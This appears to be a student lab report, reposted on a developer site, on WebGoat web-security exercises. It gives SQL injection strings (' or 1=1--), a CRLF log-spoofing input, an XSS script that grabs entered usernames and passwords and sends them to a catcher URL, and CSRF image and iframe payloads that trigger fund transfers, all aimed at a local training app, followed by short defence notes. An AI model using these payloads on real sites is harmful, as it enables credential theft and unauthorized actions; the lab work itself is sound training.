2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础

2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础,第1张

概述2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础 目录 Exp9_1安装Webgoat Exp9_2 SQL注入攻击 Numeric?SQL?Injection Log Spoofing String SQL Injection Stage 1:String SQL Injection Exp9_3 XSS攻击 Phishing with XSS Stored XS 2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础 目录 Exp9_1安装Webgoat Exp9_2 SQL注入攻击 Numeric?SQL?Injection Log Spoofing String SQL Injection Stage 1:String SQL Injection Exp9_3 XSS攻击 Phishing with XSS Stored XSS Attacks Exp9_4 CSRF攻击 Cross?Site?Request?Forgery CSRF Prompt By-Pass 实验小结 Exp9_1安装Webgoat 下载安装包 运行Webgoatjava -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar

在浏览器中输入http://localhost:8080/WebGoat打开WebGoat登录界面,使用下方登录名、密码进行登录,成功登录后即可查看教程

返回目录

Exp9_2 sql注入攻击 Numeric?sql?Injection Goal:The form below allows a user to vIEw weather data. Try to inject an sql string that results in all the weather data being displayed. 右键点击复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1

返回目录

Log Spoofing Goal:Your goal is to make it like a username "admin" has succeeded into logging in.User name中填入20165312%0d%0aLogin Succeeded !admin

返回目录

String sql Injection Goal:The form below allows a user to vIEw their credit card numbers. Try to inject an sql string that results in all the credit card numbers being displayed. 输入查询的用户名‘ or 1=1--

返回目录

Stage 1:String sql Injection Goal:Use String sql Injection to bypass authentication. 在密码框右键选择inspect Element审查网页元素对长度进行修改 在密码框输入‘ or 1=1 --

返回目录

Exp9_3 XSS攻击 Phishing with XSS Goal Insert HTML to that requests credentials Add JavaScript to actually collect the credentials Post the credentials to http://localhost:8080/WebGoat/catcher?PROPERTY=yes... 带用户名和密码输入框的表格如下:
<form><br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" ID="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
需要一段脚本读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat
<script>function Hack(){     alert("Had this been a real attack... Your credentials were just stolen." User name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);     XSSImage=new Image;     XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}</script>
将两段代码合并搜索


返回目录

Stored XSS Attacks Goal:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。 在Message中构造语句<script>alert("20165312 attack succeed!");</script>Title任意输入。提交后可发现刚创建的帖子123 点击123然后会d出一个对话框,证明XSS攻击成功


返回目录

Exp9_4 CSRF攻击 Cross?Site?Request?Forgery 原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
<img src="http://www.mybank.com/sendFunds.do?acctID=123456"/> ?

当受害者的浏览器试图打开这个页面时,它会使用指定的参数向 www.mybank.comtransferFunds.do 页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。

在Message框中输入,这样就转走了10000~~~(咳咳)
<img src="http://localhost:8080/WebGoat/attack?Screen=303&menu=900&transferFunds=10000" wIDth="1" height="1" />

返回目录

CSRF Prompt By-Pass 在message框中输入代码
<iframe src="attack?Screen=324&menu=900&transferFunds=5000"> </iframe><iframe src="attack?Screen=324&menu=900&transferFunds=CONFIRM"> </iframe>
点击submit生成以123命名的链接,点击链接,攻击成功

返回目录

实验小结

实验感想

这次实验在理解上有一定的难度,结合web中文手册、学长博客方便了理解。

sql注入攻击原理,如何防御

检查输入数据类型和格式,不予许用户输入 -- #

XSS攻击的原理,如何防御

在表单提交或者url参数传递前,对需要的参数进行过滤。检查用户输入的内容中是否有非法内容

CSRF攻击原理,如何防御

尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等 *** 作最好都使用post *** 作 通过referer、token或者验证码来检测用户提交 避免全站通用的cookie,严格设置cookie的域
总结

以上是内存溢出为你收集整理的2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础全部内容,希望文章能够帮你解决2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/web/1088149.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-27
下一篇 2022-05-27

发表评论

登录后才能评论

评论列表(0条)

保存